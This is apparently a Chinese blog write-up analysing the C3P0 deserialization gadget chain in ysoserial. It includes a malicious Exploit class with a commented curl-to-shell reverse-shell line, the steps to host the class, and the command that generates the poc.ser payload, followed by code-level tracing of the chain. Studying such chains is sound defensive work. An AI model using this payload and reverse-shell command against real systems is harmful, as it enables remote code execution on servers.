C3P0反序列化链浅析
0x0 前言
关于C3P0反序列化链也许被很多人忽视了,网上与此相关的分析相对而言也较少,给人一种第一眼鸡肋的感觉,但是笔者有过切身经历,通过Fuzz的手段利用这个链打成功了某个站点。本文则是笔者学习此链的一些体会。
0x1 依赖
安装 ysoserial
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
通过帮助信息,查看C3P0
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar
可以看到c3p0需要的依赖:
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
要求:
c3p0 版本 0.9.5.2
mchange-commons-java 版本 0.2.11 (C3P0的依赖包,maven加载c3p0会自动加载该包)
0x2 配置环境
1.Idea 新建一个Maven项目
2.pom.xml 添加依赖
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
3.编写反序列化的Demo
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class C3P0 {
public static void main(String args[]) throws IOException, ClassNotFoundException {
String path = System.getProperty("user.dir");
System.out.println(path);
ObjectInputStream in = new ObjectInputStream(new FileInputStream(path+"/src/main/java/poc.ser"));
// trigger deserialization point
in.readObject();
}
}
4.挂载远程Exploit.Class
Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try{
Runtime rt = Runtime.getRuntime();
// reverse shell
//String[] commands = {"bash","-c","curl https://reverse-shell.sh/IP:PORT|sh"};
String[] commands = {"bash", "-c", "open -a calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
}catch (Exception e){
// do nothing
}
}
}
编译为class文件
javac Exploit.java
挂载Exploit.class
python3 -m http.server 9091
5.生成poc.ser
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar C3P0 "http://0.0.0.0:9091/:Exploit" > poc.ser
6.执行反序列化
0x3 反序列化过程
这里笔者使用了两种分析思路,静态分析依赖环境少,但要求相对来说高,时间成本大点,动态分析则依赖环境搭建,要求较低,看懂代码就行,时间成本低,所以笔者一般会根据时间区间、代码复杂程度来权衡使用这两种方法。
1) 静态分析思路
通过查看ysoserial关于C3P0的注释:
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
大概可以知道这个链的流向:
第一步:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
打开Packages,可以看到各种包,我们查找下c3p0
通过给出的包结构找到了第一个触发点:readObject
先通过short version = ois.readShort();
读取版本,如果可以,那么就开始调用原生的ois.readObject()
进行反序列化操作,获得对象之后,触发对象的getObject
方法
第二步:
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
找到这里com.mchange.v2.naming.ReferenceIndirector
,我们看到ReferenceSerialized
是一个私有静态类,通过第一步触发了该类的getObject
方法。
可控的类属性:
ReferenceSerialized( Reference reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}
getObject
有initialContext.lookup
,其中contextName
参数可控,可以进行JNDI注入。
public Object getObject() throws ClassNotFoundException, IOException
{
try
{
Context initialContext;
if ( env == null )
initialContext = new InitialContext();
else
initialContext = new InitialContext( env );
Context nameContext = null;
if ( contextName != null )
// vuln
nameContext = (Context) initialContext.lookup( contextName );
return ReferenceableUtils.referenceToObject( reference, name, nameContext, env );
}
catch (NamingException e)
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
}
}
}
第三步:com.sun.jndi.rmi.registry.RegistryContext->lookup
JNDI加载执行恶意类。
通过静态分析,我们可以大体明白C3P0的核心思路,出发点是PoolBackedDataSourceBase
,落脚点是:ReferenceSerialized
的getObject
方法进行lookup
加载可控远程恶意类。
2) 动态分析思路
这里我们直接打两个断点,用Idea进行debug分析ysoserial的加载过程。
跟进
可以很明显发现传入的对象是ReferenceSerialized
类对象
但是传入的属性跟我静态分析想的不太一样,这里只传入了reference
,其他为空:
然后继续单步跟进触发ReferenceSerialized
类对象下的getObject
方法,这里需要注意下这里有个关键的判断o
是不是IndirectlySerializedS
的接口实现,是的话就触发成功。
这里确实跟我静态分析不一样,并没有采用lookup
进行JNDI注入,而是执行ReferenceableUtils.referenceToObject
方法,单步跟进:
可以看到使用URLClassLoader方法通过远程HTTP服务远程加载类之后,利用Class.forName
去实现恶意类的触发。
回顾上面的反序列化的过程:
传入一个精心构造的PoolBackedDataSourceBase
类实例的序列化数据,反序列化的时候触发下面流程:
1.触发PoolBackedDataSourceBase
类readObject
的方法
2.原生反序列化得到ReferenceSerialized
实例,自带实现IndirectlySerialized
接口。
3.ReferenceSerialized
实例的Reference
属性包括了恶意类的加载信息
4.向下执行((IndirectlySerialized) o).getObject()
触发其getObject
方法,执行到ReferenceableUtils.referenceToObject( reference, name, nameContext, env )
进行远程加载和调用恶意类,完成攻击。
0x4 序列化过程
直接跟进ysoserial的payload生成阶段
首先可以看到生成C3P0,我们传入的参数有固定格式:<base_url>:<classname>
http://0.0.0.0:9091/:Exploit
->经过解析之后转化为url
和className
接下来:
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
上面代码通过反射获取到入口类PoolBackedDataSourceBase
得到其实例b。
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
然后通过反射设置其connectionPoolDataSource
属性(为什么是这个属性?这个跟payload序列化生成有关,看下文)->new PoolSource(className, url)
跟进PoolSource
的实现:
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
// constructor
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
// 暂时不知道具体作用
public Reference getReference () throws NamingException {
// 恶意类的远程加载信息
return new Reference("exploit", this.className, this.url);
}
// ...实现接口中的其他函数,可以忽略
}
其实到了这一步,可以感受到ysoserial作者对笔者技术层面进行降维打击。
笔者一直在想的是,为什么不直接自己写个代码实现ReferenceSerialized
呢?
这里可以注意到PoolSource
类是没有实现Serializable
接口的,那么如果对这个对象进行序列化的话,过程会出错的,我们继续跟进objOut.writeObject(b);
看下是怎么处理的。
调用到PoolBackedDataSourceBase
类下的writeObject
这里并没有直接通过序列化得到PoolSource
,而是缺乏Serializable
实现,导致序列化过程失败,转而巧妙地通过indirectForm
方法,来生成ReferenceSerialized
类实例直接进行字节码写入。(*)
这里可以看到PoolSource
除了充当ConnectionPoolDataSource
类型、在这里还进行了类型强制转换为Referenceable
,故PoolSource
类继承了ConnectionPoolDataSource, Referenceable
这两个接口,同时实现getReference
方法,将恶意类的信息加载了进去。
同时由于返回的是ReferenceSerialized
实例,其自身实现IndirectlySerialized
接口,故可以通过先前动态调试中的那个判断。
至此写入的序列化信息,能够在反序列化的时候进行正确类型转换,并且执行到恶意类加载。
0x5 总结
这个链就是很巧,当时我还以为代码是刻意修改过的,后面发现这都是原生功能,ysoserial作者并没有重新实现某个类,也没有重写序列化方法,故这个神奇的链条实现方式,我自称之为魔法。
0x6 参考链接
Modify ysoserial jar serialVersionUID